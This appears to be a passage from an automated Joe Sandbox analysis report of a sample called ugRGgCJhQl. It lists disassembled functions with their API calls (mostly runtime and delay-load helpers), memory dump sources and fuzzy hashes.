                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: String
                                                                        • String ID: LCMapStringEx
                                                                        • API String ID: 2568140703-3893581201
                                                                        • Opcode ID: 04ed0eafc4d8beccfba90c93c3c7f6a71d55b53a1cec303dbb99a1253bc93005
                                                                        • Instruction ID: e4c443b0d14d3c239a4ef56affc0447878f12cb468dcb329d748114992660c7e
                                                                        • Opcode Fuzzy Hash: 04ed0eafc4d8beccfba90c93c3c7f6a71d55b53a1cec303dbb99a1253bc93005
                                                                        • Instruction Fuzzy Hash: 1701D33250520ABBCF07AF90EC16DEE7F66EF0D754F058154FE146A1A0CA728A71AB91
                                                                        Function 0030AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0030A56F), ref: 0030AF55
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CountCriticalInitializeSectionSpin
                                                                        • String ID: InitializeCriticalSectionEx
                                                                        • API String ID: 2593887523-3084827643
                                                                        • Opcode ID: 3b65161b14715b58aeb42440ba7d5faa275e75b6cdda3a0c8259722f1f89a320
                                                                        • Instruction ID: f19fd35bfd543fb4793632d4cb7c829cc628c5adbe3fada5093d4e7514a86e86
                                                                        • Opcode Fuzzy Hash: 3b65161b14715b58aeb42440ba7d5faa275e75b6cdda3a0c8259722f1f89a320
                                                                        • Instruction Fuzzy Hash: 16F0B431686208BBCB076F50DC16CEDBF65EF0C711F058064FD089A2A0DB724A109B85
                                                                        Function 0030ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Alloc
                                                                        • String ID: FlsAlloc
                                                                        • API String ID: 2773662609-671089009
                                                                        • Opcode ID: d833777e467b5153520d150a41a6188c56616aa99fc43b8d52d38e16891bc9d1
                                                                        • Instruction ID: ec1b691c495098471c166914fef800f85e914a607de44c6cb163fe134f9e7f0e
                                                                        • Opcode Fuzzy Hash: d833777e467b5153520d150a41a6188c56616aa99fc43b8d52d38e16891bc9d1
                                                                        • Instruction Fuzzy Hash: 2FE0AB306863187BC307BB24EC26DEEBB68CF0C720F0500A8FC0197280CE714E4086C6
                                                                        Function 002FE1EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 5f88009f1b83814a1833d579d53cbc318eddca4cae4116edb92874a0d07ef7bc
                                                                        • Instruction ID: 516a6a3ea30f144fa3fcfcd3f676702f02d4da52aaa9fd208b933d4a4217916f
                                                                        • Opcode Fuzzy Hash: 5f88009f1b83814a1833d579d53cbc318eddca4cae4116edb92874a0d07ef7bc
                                                                        • Instruction Fuzzy Hash: 14B012D92FC208AD351B714B1C02C7B824EC0C5BA0331403EF90BC51B0D8807C600931
                                                                        Function 002FE1F6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 10719cf8dc1888e5bed53458778a13a70aefe64fe0c8cc0a70dc851ae6463460
                                                                        • Instruction ID: eb2052f6237d544eba481ec2bc79ff70cd24d47e972f401c79d026c571400dc5
                                                                        • Opcode Fuzzy Hash: 10719cf8dc1888e5bed53458778a13a70aefe64fe0c8cc0a70dc851ae6463460
                                                                        • Instruction Fuzzy Hash: EDB012D52B8144AC355B76071C02C7B828EC4C6BA0331C03EFD0BC53A0D880BC640831
                                                                        Function 002FE1D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 91b3ddea89d31c8568470ea81bb05a6b38e3ba678e4baa32fc300058f1ce6c37
                                                                        • Instruction ID: 6c748acd023ee3b37807d8ed5ab429bc00882f77f87d3e7556b33d9cffd0f182
                                                                        • Opcode Fuzzy Hash: 91b3ddea89d31c8568470ea81bb05a6b38e3ba678e4baa32fc300058f1ce6c37
                                                                        • Instruction Fuzzy Hash: F4B012D92F8244BD351B31471C02C7B820EC0C6BA0331843EFD07C44B0D880BC600831
                                                                        Function 002FE228 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: bcf444bd84ab2025a5df383da1dfe2056fd37b1ca45f3061f2c27d4f4177efef
                                                                        • Instruction ID: f3c1b946b8a24a6014c97af945019b17ec6589b1c92cc7539d6804354b62e85e
                                                                        • Opcode Fuzzy Hash: bcf444bd84ab2025a5df383da1dfe2056fd37b1ca45f3061f2c27d4f4177efef
                                                                        • Instruction Fuzzy Hash: C5B012E52B8204BC355B71071C02C7B824EC0C5FA0331413EF90BC51A0D8807DA00831
                                                                        Function 002FE23C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: ea578c62494922a4a6ff4e0fbfb9be7773fb5df8f064c90451ac39cf094ace20
                                                                        • Instruction ID: e2796d6617cbb640d0042b340f932c618855e2431a163e11b8f918dcf41a42c8
                                                                        • Opcode Fuzzy Hash: ea578c62494922a4a6ff4e0fbfb9be7773fb5df8f064c90451ac39cf094ace20
                                                                        • Instruction Fuzzy Hash: C1B012E52B8104AC351B71071C02C7BC24EC0C5FA0331403EF90BC51A1D8807D600831
                                                                        Function 002FE232 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 2e533139be8648c9e73578a2ddb3ddcf98c215a74fc1292e54a0b2bab66ac609
                                                                        • Instruction ID: 5d38e3b9b36b09d9769f7c6ac0adeca37658556a8a4318d755e8f701fb2dd8dd
                                                                        • Opcode Fuzzy Hash: 2e533139be8648c9e73578a2ddb3ddcf98c215a74fc1292e54a0b2bab66ac609
                                                                        • Instruction Fuzzy Hash: 5AB012E52B8104AC351B71071D02C7BC24EC0C5FA0331403EF90BC51A0DC807E610831
                                                                        Function 002FE20A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 353d176675813456e593bfc1e2239fca2a9329e189dd5bff40d2b7561e7ae377
                                                                        • Instruction ID: 57f09a16b32612abaf937aab7694eb6e17a634a8f2d2ba21ee4103376157c00f
                                                                        • Opcode Fuzzy Hash: 353d176675813456e593bfc1e2239fca2a9329e189dd5bff40d2b7561e7ae377
                                                                        • Instruction Fuzzy Hash: E4B012D52B8104AC355B72071D02C7BC24EC4C5BA0331803EF90BC53A0DC907D690831
                                                                        Function 002FE200 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 33abc3b092adba77084210069c731383758510a902a91021cfafd25571b095d1
                                                                        • Instruction ID: fa6779b58a828d85191bad3d44255c04dedeae81dbfc6e78b2c66ab2580a9923
                                                                        • Opcode Fuzzy Hash: 33abc3b092adba77084210069c731383758510a902a91021cfafd25571b095d1
                                                                        • Instruction Fuzzy Hash: C8B012D53B8244BC359B72071C02C7B824EC4C5BA0331853EF90BC53A0D8807CA40831
                                                                        Function 002FE21E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 83ed5a9c36acc1fb7265feed95da4afdf8d750d3877e6ca5aac223b9dac9ebd1
                                                                        • Instruction ID: 7ecc26349fbba0a009f877a811c35d56c7d31fb51ebd1c7aae52581ef760ed21
                                                                        • Opcode Fuzzy Hash: 83ed5a9c36acc1fb7265feed95da4afdf8d750d3877e6ca5aac223b9dac9ebd1
                                                                        • Instruction Fuzzy Hash: 6EB012E52B8144BC351B71071C02C7B824EC0C6FA0331813EFD0BC51A0D880BD600831
                                                                        Function 002FE26E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 189df8cc687360d8abdc261209286ad14367013e0815c5e3bdd1fa90bfe81b93
                                                                        • Instruction ID: 4f607c2ccf834a44cc484b1d3306fa9800b05f9165ae069f2bfea8037744837e
                                                                        • Opcode Fuzzy Hash: 189df8cc687360d8abdc261209286ad14367013e0815c5e3bdd1fa90bfe81b93
                                                                        • Instruction Fuzzy Hash: E4B012D92BC144AC351B71171C02C7B828EC0C6BA0331803EFE0BC51A0D880BC600831
                                                                        Function 002FE264 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 6e2088707171a77984f0603dcdd089fecf7d4e3e06ef4f7c3cce85443fa59162
                                                                        • Instruction ID: f9bc8ddfde706e6e856067d861f96bad3a97a8964daebeb0605e112cbaa534eb
                                                                        • Opcode Fuzzy Hash: 6e2088707171a77984f0603dcdd089fecf7d4e3e06ef4f7c3cce85443fa59162
                                                                        • Instruction Fuzzy Hash: 47B012D52B9144AC351B71071C02C7B828FC5C5BA0331403EF90BC51A0D8807C600832
                                                                        Function 002FE246 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
